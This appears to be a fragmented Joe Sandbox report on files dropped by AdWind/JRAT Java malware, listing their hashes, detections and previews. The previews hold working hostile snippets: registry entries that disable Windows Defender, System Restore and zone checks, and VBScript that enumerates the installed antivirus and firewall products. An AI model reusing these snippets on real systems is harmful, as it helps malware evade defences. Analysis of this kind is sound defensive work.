https://view.joesandbox.com/analysis/249279/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249279/html/none?idtype=webid
https://view.joesandbox.com/analysis/249153/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249153/html/none?idtype=webid
https://view.joesandbox.com/analysis/218297/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218297/html/none?idtype=webid
https://view.joesandbox.com/analysis/217103/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/217103/html/none?idtype=webid
https://view.joesandbox.com/analysis/216998/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/216998/html/none?idtype=webid
https://view.joesandbox.com/analysis/215229/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/215229/html/none?idtype=webid
https://view.joesandbox.com/analysis/213806/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/213806/html/none?idtype=webid
https://view.joesandbox.com/analysis/211790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/211790/html/none?idtype=webid
https://view.joesandbox.com/analysis/201806/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/201806/html/none?idtype=webid
https://view.joesandbox.com/analysis/183967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/183967/html/none?idtype=webid
https://view.joesandbox.com/analysis/164291/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/164291/html/none?idtype=webid
https://view.joesandbox.com/analysis/162375/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/162375/html/none?idtype=webid
https://view.joesandbox.com/analysis/160903/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/160903/html/none?idtype=webid
https://view.joesandbox.com/analysis/154244/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/154244/html/none?idtype=webid
https://view.joesandbox.com/analysis/141660/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/141660/html/none?idtype=webid
https://view.joesandbox.com/analysis/141659/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/141659/html/none?idtype=webid
https://view.joesandbox.com/analysis/139891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/139891/html/none?idtype=webid
https://view.joesandbox.com/analysis/134069/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/134069/html/none?idtype=webid


Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 57

Entropy (8bit): 4.827903829688525

Encrypted: false

SSDEEP: 3:oFj4I5vpN6yUYCu4v:oJ5X6yN4v

MD5: 3FA9DA5639015C0FFF49B84F73A51D75

SHA1: D5E56F2FE08B86A24EB5BF3859E0EFDB33171C18

SHA-256: B25511D60171DFB2638936A08E35E13647421096309506394DAC3EB84D127796

SHA-512: F48A209F5F8FB371D6AC7E8D5CBEBBF358DC4578D02F565A2C1F8EDE844F7E66096212BF1DA399B658EF44F98283D1E7D2926846858CABB5677A432D5F8BFD1
A

Malicious: false

Preview:
C:\Program Files (x86)\Java\jre1.8.0_211..1618900395512..

C:\ProgramData\Oracle\Java\.oracle_jre_usage\cce3fe3b0d8d83e2.timestamp

C:\Users\user\AppData\Local\Temp\Config5175199137087621866.sqlite
Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit): 0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw

MD5: 81DB1710BB13DA3343FC0DF9F00BE49F

SHA1: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

Malicious: false

Preview:
SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GYcBDbnJPA3276512531836276281.reg
Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 27282

Entropy (8bit): 5.34186246815709

Encrypted: false

SSDEEP: 96:PJWwXczWquoCtmtatLitmtJCtTt6tVtatNtgtitCtztHtxtMt8thtVRtTtstHtTs:PqgVnuR0hTmEgGpF

MD5: 867B59911AF96958B890524CD9002132

SHA1: C8608B295945AC0AD6BD0A7C4CE04579494DA971

SHA-256: ED7FD6C48C814D80DCB80D36C3EE8686E48979BEC7A289B2612D4EF71F59756C

SHA-512: 7E5C03DED713EEC2E1B268E09F9777A8CB2F6868BB25941A3A008CBA91551E36DC28275352AF5211151AA78E2C8B3C8347BA8044B31F29C3718C4E5A70FE742C

Malicious: false

Preview:
Windows Registry Editor Version 5.00..[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments].."SaveZoneInformation"=dword:
00000001....[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Associations].."LowRiskFileTypes"=".avi;.bat;.com;.cmd;.exe;.htm;.ht
ml;.lnk;.mpg;.mpeg;.mov;.mp3;.msi;.m3u;.rar;.reg;.txt;.vbs;.wav;.zip;.jar;"....[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachment
s].."SaveZoneInformation"=-....[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations].."LowRiskFileTypes"=-....[HKEY_CUR
RENT_USER\Environment].."SEE_MASK_NOZONECHECKS"="1"....[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment].."S
EE_MASK_NOZONECHECKS"="1"....[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore].."DisableConfig"=dword:00000001.."Dis
ableSR"=dword:00000001....[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Executio

C:\Users\user\AppData\Local\Temp\Retrive4117647702204724132.vbs

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 276

Entropy (8bit): 5.064973526456738

Encrypted: false

SSDEEP: 6:jpxiFtqvAAT+geD5NaqZxLMTrLavbx3laDH6djsyn:vmtqvAndZFcrG9lpjsyn

MD5: 3BDFD33017806B85949B6FAA7D4B98E4

SHA1: F92844FEE69EF98DB6E68931ADFAA9A0A0F8CE66

SHA-256: 9DA575DD2D5B7C1E9BAB8B51A16CDE457B3371C6DCDB0537356CF1497FA868F6
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SHA-512: AE5E5686AE71EDEF53E71CD842CB6799E4383B9C238A5C361B81647EFA128D2FEDF3BF464997771B5B0C47A058FECAE7829AEEDCD098C80A11008581E578142
9

Malicious: true

Antivirus: Antivirus: Avira, Detection: 100%

Preview:
Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter2")..Set colItems = oWMI.ExecQuery("Select * from AntiVirusProduct")..For 
Each objItem in colItems..  With objItem..    WScript.Echo  "{""AV"":""" & .displayName & """}"..  End With..Next..

C:\Users\user\AppData\Local\Temp\Retrive4117647702204724132.vbs

C:\Users\user\AppData\Local\Temp\Retrive7530640457785674935.vbs

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 281

Entropy (8bit): 5.093300055314052

Encrypted: false

SSDEEP: 6:jpxiFtqvAAT+geD5NaqZxLMTQQQavbx3la2Zp6djsyn:vmtqvAndZFcQU9lrXyjsyn

MD5: A32C109297ED1CA155598CD295C26611

SHA1: DC4A1FDBAAD15DDD6FE22D3907C6B03727B71510

SHA-256: 45BFE34AA3EF932F75101246EB53D032F5E7CF6D1F5B4E495334955A255F32E7

SHA-512: 70372552DC86FE02ECE9FE3B7721463F80BE07A34126B2C75B41E30078CDA9E90744C7D644DF623F63D4FB985482E345B3351C4D3DA873162152C67FC6ECC887

Malicious: true

Antivirus: Antivirus: Avira, Detection: 100%

Preview:
Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter2")..Set colItems = oWMI.ExecQuery("Select * from FirewallProduct")..For 
Each objItem in colItems..  With objItem..    WScript.Echo  "{""FIREWALL"":""" & .displayName & """}"..  End With..Next..

C:\Users\user\AppData\Local\Temp\Retrive7965693575833183651.vbs

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 276

Entropy (8bit): 5.064973526456738

Encrypted: false

SSDEEP: 6:jpxiFtqvAAT+geD5NaqZxLMTrLavbx3laDH6djsyn:vmtqvAndZFcrG9lpjsyn

MD5: 3BDFD33017806B85949B6FAA7D4B98E4

SHA1: F92844FEE69EF98DB6E68931ADFAA9A0A0F8CE66

SHA-256: 9DA575DD2D5B7C1E9BAB8B51A16CDE457B3371C6DCDB0537356CF1497FA868F6

SHA-512: AE5E5686AE71EDEF53E71CD842CB6799E4383B9C238A5C361B81647EFA128D2FEDF3BF464997771B5B0C47A058FECAE7829AEEDCD098C80A11008581E578142
9

Malicious: true

Antivirus: Antivirus: Avira, Detection: 100%

Preview:
Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter2")..Set colItems = oWMI.ExecQuery("Select * from AntiVirusProduct")..For 
Each objItem in colItems..  With objItem..    WScript.Echo  "{""AV"":""" & .displayName & """}"..  End With..Next..

C:\Users\user\AppData\Local\Temp\Retrive9101275134933643330.vbs

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 281

Entropy (8bit): 5.093300055314052

Encrypted: false

SSDEEP: 6:jpxiFtqvAAT+geD5NaqZxLMTQQQavbx3la2Zp6djsyn:vmtqvAndZFcQU9lrXyjsyn

MD5: A32C109297ED1CA155598CD295C26611

SHA1: DC4A1FDBAAD15DDD6FE22D3907C6B03727B71510

SHA-256: 45BFE34AA3EF932F75101246EB53D032F5E7CF6D1F5B4E495334955A255F32E7

SHA-512: 70372552DC86FE02ECE9FE3B7721463F80BE07A34126B2C75B41E30078CDA9E90744C7D644DF623F63D4FB985482E345B3351C4D3DA873162152C67FC6ECC887

Malicious: true

Antivirus: Antivirus: Avira, Detection: 100%

Preview:
Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter2")..Set colItems = oWMI.ExecQuery("Select * from FirewallProduct")..For 
Each objItem in colItems..  With objItem..    WScript.Echo  "{""FIREWALL"":""" & .displayName & """}"..  End With..Next..

C:\Users\user\AppData\Local\Temp\Windows278170804881636675.dll

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
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Category: dropped

Size (bytes): 46592

Entropy (8bit): 6.0299567620950425

Encrypted: false

SSDEEP: 768:5iUNFqJL3HXiQl2DuhacwRZPE7dmvqID8ouM2PkYEDienAZu+P:TNFW33hdxwz87dmRDbkPKg

MD5: 0B7B52302C8C5DF59D960DD97E3ABDAF

SHA1: D85524F464DCDED54EDFCFE6A5056F6C4008BBCB

SHA-256: A6BE5BE2D16A24430C795FAA7AB7CC7826ED24D6D4BC74AD33DA5C2ED0C793D0

SHA-512: FA04A69CACD05042DC9F3EF0BB518B01952B59A5A2669BA3817C3E248E95F54801349CB51FCFA7CD1F3C4CB7C28615A61156D574C4F7197FDBA709544A5E8EB
C

Malicious: true

Yara Hits: Rule: JoeSecurity_AdWind_dll, Description: Yara detected AdWind RAT\'s dll, Source: C:\Users\user\AppData\Local\Temp\Windows278170804881636675.dll, Author: 
Joe Security

Antivirus: Antivirus: Avira, Detection: 100%
Antivirus: Metadefender, Detection: 75%, Browse
Antivirus: ReversingLabs, Detection: 74%

Joe Sandbox 
View:

Filename: PO SKP 149684.jar, Detection: malicious, Browse
Filename: CHEQUE COPY.jar, Detection: malicious, Browse
Filename: Ramon_w2-1040_PDF.jar, Detection: malicious, Browse
Filename: Payment.jar, Detection: malicious, Browse
Filename: POHD512-6 5700.jar, Detection: malicious, Browse
Filename: PAYMENT SWIFT COPY.jar, Detection: malicious, Browse
Filename: box.jar, Detection: malicious, Browse
Filename: 02_ntfsmgr.jar, Detection: malicious, Browse
Filename: Company profile and Purchase Order.jar, Detection: malicious, Browse
Filename: 0076364_00533MXS2.jar, Detection: malicious, Browse
Filename: Order.jar, Detection: malicious, Browse
Filename: ORDER.jar, Detection: malicious, Browse
Filename: Rejected_Stimulus.jar, Detection: malicious, Browse
Filename: COMMUNIQUE2.pdf.jar, Detection: malicious, Browse
Filename: , Detection: malicious, Browse
Filename: , Detection: malicious, Browse
Filename: PAYMENT SWIFT.jar, Detection: malicious, Browse
Filename: PAYMENT SWIFT.jar, Detection: malicious, Browse
Filename: , Detection: malicious, Browse
Filename: , Detection: malicious, Browse

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k.../../../..@.a.9..@.T.!..@.`.z..&.Y.*../..~..@.e....@.Q....@.W....Rich
/..........PE..L.....uW...........!.....p...B......8...............................................R3....@.........................p..........<...............................<...`...............................0...@...............$.........
...................text...Zo.......p.................. ..`.rdata..%%.......&...t..............@..@.data....+..........................@....rsrc...............................@..@.reloc..............................@..B............
..............................................................................................................................................................................................................................................................................
..............................................

C:\Users\user\AppData\Local\Temp\Windows278170804881636675.dll

C:\Users\user\AppData\Local\Temp\Windows9046764930049020633.dll

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 39424

Entropy (8bit): 5.830789080830882

Encrypted: false

SSDEEP: 768:1bsFy+m3Eq3booHrhmkkGn2OEDffZlchud0:1j73fdmkLwH

MD5: C17B03D5A1F0DC6581344FD3D67D7BE1

SHA1: D39F33C514B9DABAFD3502D8E57E6EF078B1B454

SHA-256: 1AFB6AB4B5BE19D0197BCB76C3B150153955AE569CFE18B8E40B74B97CCD9C3D

SHA-512: 6B41F2FD24F7667FC0FFAF94967BE0E7C1EFEE655AECD01F867C142FC81281DB631BE66FFEFD4D7E69BAF1674292A79A8B110B7B12A2EBE71128C2CC1A1C82
B0

Malicious: true

Antivirus: Antivirus: Avira, Detection: 100%
Antivirus: Metadefender, Detection: 49%, Browse
Antivirus: ReversingLabs, Detection: 66%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........."...LW..LW..LW...W..LW...W..LW...W..LW..W..LW..MW..LW...W..L
W...W..LW...W..LWRich..LW........................PE..L......V...........!.....N...H...............`.......................................e....@.........................P.......|...P...................................0a...........
.......................@............`...............................text...hM.......N.................. ..`.rdata...)...`...*...R..............@..@.data...<............|..............@....rsrc...............................@..@.re
loc..............................@..B...............................................................................................................................................................................................................................
.........................................................................................

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class
Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: Java archive data (JAR)

Category: dropped

Size (bytes): 247088

Entropy (8bit): 7.977146417027946
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https://www.metadefender.com/#!/results/file/YnpJeE1ETXhPRVZ0UVcxWWRYRnpTMElIc3JSaFQ4WUk/regular/analysis
https://view.joesandbox.com/analysis/289286/html/none
https://view.joesandbox.com/analysis/260448/html/none
https://view.joesandbox.com/analysis/249279/html/none
https://view.joesandbox.com/analysis/249153/html/none
https://view.joesandbox.com/analysis/218297/html/none
https://view.joesandbox.com/analysis/217103/html/none
https://view.joesandbox.com/analysis/216998/html/none
https://view.joesandbox.com/analysis/215229/html/none
https://view.joesandbox.com/analysis/213806/html/none
https://view.joesandbox.com/analysis/211790/html/none
https://view.joesandbox.com/analysis/201806/html/none
https://view.joesandbox.com/analysis/183967/html/none
https://view.joesandbox.com/analysis/164291/html/none
https://view.joesandbox.com/analysis/162375/html/none
https://view.joesandbox.com/analysis/160903/html/none
https://view.joesandbox.com/analysis/154244/html/none
https://view.joesandbox.com/analysis/141660/html/none
https://view.joesandbox.com/analysis/141659/html/none
https://view.joesandbox.com/analysis/139891/html/none
https://view.joesandbox.com/analysis/134069/html/none
https://www.metadefender.com/#!/results/file/WVRFNE1Ea3dNMU41UW0xblJWOXhVRmdCa3loY2RLRXI/regular/analysis


Encrypted: false

SSDEEP: 6144:WI5pxUZ7Gvi8ulm+yV/rIF0/MO2qnan1J7pXESN6U:J5pxAGqNkrIq/MO2qnA

MD5: 781FB531354D6F291F1CCAB48DA6D39F

SHA1: 9CE4518EBCB5BE6D1F0B5477FA00C26860FE9A68

SHA-256: 97D585B6AFF62FB4E43E7E6A5F816DCD7A14BE11A88B109A9BA9E8CD4C456EB9

SHA-512: 3E6630F5FEB4A3EB1DAC7E9125CE14B1A2A45D7415CF44CEA42BC51B2A9AA37169EE4A4C36C888C8F2696E7D6E298E2AD7B2F4C22868AAA5948210EB7DB220
D8

Malicious: false

Yara Hits: Rule: MAL_JRAT_Oct18_1, Description: Detects JRAT malware, Source: C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class, 
Author: Florian Roth

Preview:
PK........A.QJ................META-INF/MANIFEST.MF....M.1..0...@...u.XA(.jq.bED..y.@LJ."..F;(.r..w..yPL.J!..$..5g..#.]O.Y..O|.u...x...8Q[..^.Zh.Pk.c.OL.Ck'h.Fc5g.8a.%@..0
...I....V.E..&`g.j....wK.~w..@3G.:.1q...PK..\..........PK........A.QJ................iQA/Fjx/ywe.u..@....Y.u.....,.`D.#.......:q......P.Up....n...F.z8'...."....P.Fu.....{.Lw.M.r5...c.}..U.L*...^j{a'..
0JF^r.Y......a.~.f\..z....p... .^.%.v.E.k..6aP..WZ...-#L.c).'B..#n.K.....A....npG....p).x..z..u... .e'.'.j...&<....H..]wJ.[.....|...].....[Xy...o.Dh.I....B........z.."7Lh.1."EU..7n.9......J50..12....#
.!...%........[9U..7.e`[...7.*..\...\..t*.l....j"*..H..B.K....".!....!..p...\|<{U......8.6..7.4....e..5)%....}.0.N...O....A..x$..]......Cz..?.KUD=..)=....=c..b.4oD......U...U..i.'k.....@.....r:.t.\.n..n...+..'.
.,WE.B.M.n.. ..A.W.u.T...{`.=..[e3.C.p...._.LC..V..?....._...v;.|p.zw......._@....9...*5...J...2.!.#S..Oj....<]+.5)*+.u...d......\..u......w..n..>..-&B...!._b6.Mv.VS.W.e......."

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class

C:\Users\user\AppData\Local\Temp\ebgeaegdbdecaedfebace.reg

Process: C:\Windows\SysWOW64\wscript.exe

File Type: ASCII text, with CRLF, LF line terminators

Category: dropped

Size (bytes): 143

Entropy (8bit): 5.215498656146558

Encrypted: false

SSDEEP: 3:jBJ0nMWXZ6RKZFNKugLxqyB+zfyM1KJA7Bm22SEXAHsJ7V/7v:jBJ0nMhRKLNK9Lx78zH18A7BB1EXisJR

MD5: 0E5411D7ECBA9A435AFDA71C6C39D8FD

SHA1: 2D6812052BF7BE1B5E213E1D813AE39FAA07284C

SHA-256: CB68D50DF5817E51EC5B2F72893DC4C749BF3504519107E0A78DDA84D55F09E2

SHA-512: 903AC6E5C8A12607AF267B54BCBBEDFA5542C5B4F7EA289AB7C6A32A424D5B846AE406D830CB4AD48E2B46F92C504163C0856AF8C3E09685A8855F39F616DDB
1

Malicious: true

Preview:
Windows Registry Editor Version 5.00..[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]."DisableAntiSpyware"=dword:00000001....

C:\Users\user\AppData\Local\Temp\sqlite-3.8.11.2-42eaffe0-b8ea-4880-ab72-6ea9a41a3e14-sqlitejdbc.dll

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows

Category: dropped

Size (bytes): 695808

Entropy (8bit): 6.430026624943613

Encrypted: false

SSDEEP: 12288:F1Ty5f/GBgQbkkH13Lxewo3CoGOJwdzRI3XHCYLKxX7XjSt0yaAfIou4KxR92l:F1TyQBgQbkkHRNeweCIyd1I3XiYL6X7V

MD5: A4E510D903F05892D77741C5F4D95B5D

SHA1: 754781BA8E1C574B830AE2A239CCCCDA2C4B5E70

SHA-256: A3FBDF4FBDF56AC6A2EBEB4C131C5682F2E2EADABC758CFE645989C311648506

SHA-512: 9A3AE623B1469357EC8E7EFDE4F14AA838DE2011495F8D3504D6B97293AA0957762D231BE43E57926F8EF8E38067268FB98B99D8FD612219B07181E47AE60F10

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Q..U...........#.....^.......... ........p.....j....................................
...... .................................|................................5..................................................l................................text....\.......^..................`.P`.data........p.......b..............@.`..rdata..4.....
.......v..............@.`@.bss.........p........................`..edata...............H..............@.0@.idata..|............T..............@.0..CRT....,............d..............@.0..tls.... ............f............
..@.0..reloc...5.......6...h..............@.0B............................................................................................................................................................................................................
............................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\83aa4cc77f591dfc2374580bbd95f6ba
_d06ed635-68f6-4e9a-955c-4899f5f57b9a
Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: data

Category: dropped

Size (bytes): 45

Entropy (8bit): 0.9111711733157262

Encrypted: false

SSDEEP: 3:/lwlt7n:WNn

MD5: C8366AE350E7019AEFC9D1E6E6A498C6

SHA1: 5731D8A3E6568A5F2DFBBC87E3DB9637DF280B61

SHA-256: 11E6ACA8E682C046C83B721EEB5C72C5EF03CB5936C60DF6F4993511DDC61238

SHA-512: 33C980D5A638BFC791DE291EBF4B6D263B384247AB27F261A54025108F2F85374B579A026E545F81395736DD40FA4696F2163CA17640DD47F1C42BC9971B18CD
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Malicious: false

Preview:
........................................J2SE.

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\83aa4cc77f591dfc2374580bbd95f6ba
_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\Users\user\AppData\Roaming\Oracle\COPYRIGHT
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: ISO-8859 text

Category: dropped

Size (bytes): 3244

Entropy (8bit): 4.504892344419146

Encrypted: false

SSDEEP: 96:3kjJXQSqgbiihCrRbo+Q/cV0rDcFBL3P0/r3:3cAaOi01E+xV0rDaBL3P0z3

MD5: A762796B2A8989B8952B653A178607A1

SHA1: C725183C757011E7BA96C83C1E86EE7E8B516A2B

SHA-256: 79CCB53E0DBDB8EC16747A516EB77C3737C797E544AAA0A552B8A886A70EEF69

SHA-512: 9D88BD2910A0D7820732D498B11B4676A5A122F24093640D8F07D417E4D7077A3D411F5F3E96CC124483DBED9C940B9526CA8B19FBC7CE69CB294476FCAA6C91

Malicious: false

Preview:
Copyright . 1993, 2018, Oracle and/or its affiliates..All rights reserved...This software and related documentation are provided under a.license agreement containing rest
rictions on use and.disclosure and are protected by intellectual property laws..Except as expressly permitted in your license agreement or.allowed by law, you may not use
, copy, reproduce, translate,.broadcast, modify, license, transmit, distribute, exhibit,.perform, publish, or display any part, in any form, or by.any means. Reverse usering, 
disassembly, or.decompilation of this software, unless required by law for.interoperability, is prohibited...The information contained herein is subject to change.without noti
ce and is not warranted to be error-free. If you.find any errors, please report them to us in writing...If this is software or related documentation that is.delivered to the U.S. G
overnment or anyone licensing it on.behalf of the U.S. Government, the following notice is.applicable:..U.S. GOVERNMENT END US

C:\Users\user\AppData\Roaming\Oracle\LICENSE
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: ASCII text

Category: dropped

Size (bytes): 44

Entropy (8bit): 4.322179345516666

Encrypted: false

SSDEEP: 3:c3AXFshzYoQ4XTn:c9hzYUXT

MD5: 432427FE963E254F41915D5FFA20928D

SHA1: 500CF349A204DCD6497F9789884BC8C3F2657212

SHA-256: 3DD5B54C70C5942B771786C2D1511A9A60CCC1D30CDCA0A5FE9A2CEE107119FA

SHA-512: 04FC154B57729FCCAED106E1A709ED6F116554D1261E9C4132EBBB89E943E65AA50BBE1F6C187CE75787692359725243F45B5A8ED3EE7CFB1C5186A881A5BA6
B

Malicious: false

Preview:
Please refer to https://java.com/bc_license.

C:\Users\user\AppData\Roaming\Oracle\README.txt
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: ASCII text

Category: dropped

Size (bytes): 46

Entropy (8bit): 4.197049999347145

Encrypted: false

SSDEEP: 3:c3AXFshzhRSkU:c9hzhgkU

MD5: 0F1123976B959AC5E8B89EB8C245C4BD

SHA1: F90331DF1E5BADEADC501D8DD70714C62A920204

SHA-256: 963095CF8DB76FB8071FD19A3110718A42F2AB42B27A3ADFD9EC58981C3E88D2

SHA-512: E9136FDF42A4958138732318DF0B4BA363655D97F8449703A3B3A40DDB40EEFF56363267D07939889086A500CB9C9AAF887B73EEAD06231269116110A0C0A693

Malicious: false

Preview:
Please refer to http://java.com/licensereadme.

C:\Users\user\AppData\Roaming\Oracle\THIRDPARTYLICENSEREADME-JAVAFX.txt
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: UTF-8 Unicode (with BOM) text

Category: dropped

Size (bytes): 112748

Entropy (8bit): 4.843314745575208

Encrypted: false

SSDEEP: 3072:ig3JrYrpltztZvepyF6qN7amC3lqN7amC3pqN7amC3K:L3XqN2plqN2ppqN2pK

MD5: FE4BB0E003D7600BAE6D18237C3D08D0
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SHA1: B46C7DA4401D3513942885B4EAA8DAA2C71B3761

SHA-256: 31985DE04028045F7D0CE01717CE9FC0A25AE86229BB111870518C23E80B8758

SHA-512: 26B0E6780EE644426CADAE2185DCFC85A66E6E05D228183FE7B6F28FCE05A53B081D6C571889C0EBFE91B33B0D1EADB557F4CD716B156ABFDF1EF7639F66200
8

Malicious: false

Preview:
.DO NOT TRANSLATE OR LOCALIZE..***************************************************************************..%%The following software may be included in this product:.Appl
e Computer: CoreAudio Utility Classes v2.0..Notice: This software is present only on Mac OS X systems...Disclaimer: IMPORTANT: This Apple software is supplied to you 
by Apple.Inc. ("Apple") in consideration of your agreement to the following.terms, and your use, installation, modification or redistribution of.this Apple software constitutes 
acceptance of these terms. If you do.not agree with these terms, please do not use, install, modify or.redistribute this Apple software...In consideration of your agreement 
to abide by the following terms, and.subject to these terms, Apple grants you a personal, non-exclusive.license, under Apple's copyrights in this original Apple software (the
."Apple Software"), to use, reproduce, modify and redistribute the Apple.Software, with or without modifications, in source and/or binary 

C:\Users\user\AppData\Roaming\Oracle\THIRDPARTYLICENSEREADME-JAVAFX.txt

C:\Users\user\AppData\Roaming\Oracle\THIRDPARTYLICENSEREADME.txt
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: UTF-8 Unicode text

Category: dropped

Size (bytes): 149725

Entropy (8bit): 5.017225619410427

Encrypted: false

SSDEEP: 3072:Yj33DuJ8sY5sPfqN7amC35qs4NZ1G8OAN6Cflxocw+4oHHZZvcm9lHNOXG8A5oJt:HqN2p5i+cw+4oxH6N3Rj

MD5: 6965EEEF8A55556BB1DDED43BCA822DD

SHA1: EFD8B1FD278FF3171686D4E170D0CEDC4DC1982C

SHA-256: 7B3639E1EA1571B44F4DB53246950B6AB6CAAC9E4B067D95928E91293BB0A0FD

SHA-512: 7E475A02D29F48A52C259D8CB3DD3D23B9F7002DF217D570F3125CAA815229DBE07ED4366EE93BCA1FC32E81E29B958DE2871DB9B776A4E8F44533CB5AC69C9
3

Malicious: false

Preview:
DO NOT TRANSLATE OR LOCALIZE..-----------------------------..%% This notice is provided with respect to ASM Bytecode Manipulation .Framework v5.0.3, which may be 
included with JRE 8, and JDK 8, and .OpenJDK 8...--- begin of LICENSE ---..Copyright (c) 2000-2011 France T.l.com.All rights reserved...Redistribution and use in source 
and binary forms, with or without.modification, are permitted provided that the following conditions.are met:..1. Redistributions of source code must retain the above co
pyright.   notice, this list of conditions and the following disclaimer...2. Redistributions in binary form must reproduce the above copyright.   notice, this list of conditions and 
the following disclaimer in the.   documentation and/or other materials provided with the distribution...3. Neither the name of the copyright holders nor the names of its.   
contributors may be used to endorse or promote products derived from.   this software without specific prior written permission...THIS SOFTWAR

C:\Users\user\AppData\Roaming\Oracle\Welcome.html
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: HTML document, ASCII text

Category: dropped

Size (bytes): 955

Entropy (8bit): 5.096095653697231

Encrypted: false

SSDEEP: 24:INMTdqcxtK4jXQ5VaJ2gjQo4pDW94m/DJn:TTdqIK4jXjJdso4V7E

MD5: 810EF9BE9BDF09983D41E244A6179A20

SHA1: D98AE54F03DAC87419ABC19B97E315830C2DA55F

SHA-256: DB34008B34B4BC3177436E71BD01557D45D52E710699758AB227E5FEC7FFADB8

SHA-512: 3DA4DE8D7A7D037AA64F9A771C9AEB743D43839294ACB773CECB2BA9B0C869CF3D7F3E3BC41D803238F297647E85ABD43F596F1C2DF46579EC0A34263744E40
6

Malicious: false

Preview:
<html>.<head>.<title>.Welcome to the Java(TM) Platform.</title>.</head>.<body>..<h2>Welcome to the Java<SUP><FONT SIZE=-2>TM</FONT></SUP> Platform</h2>.
<p> Welcome to the Java<SUP><FONT SIZE=-2>TM</FONT></SUP> Standard Edition Runtime .  Environment. This provides complete runtime support for Java a
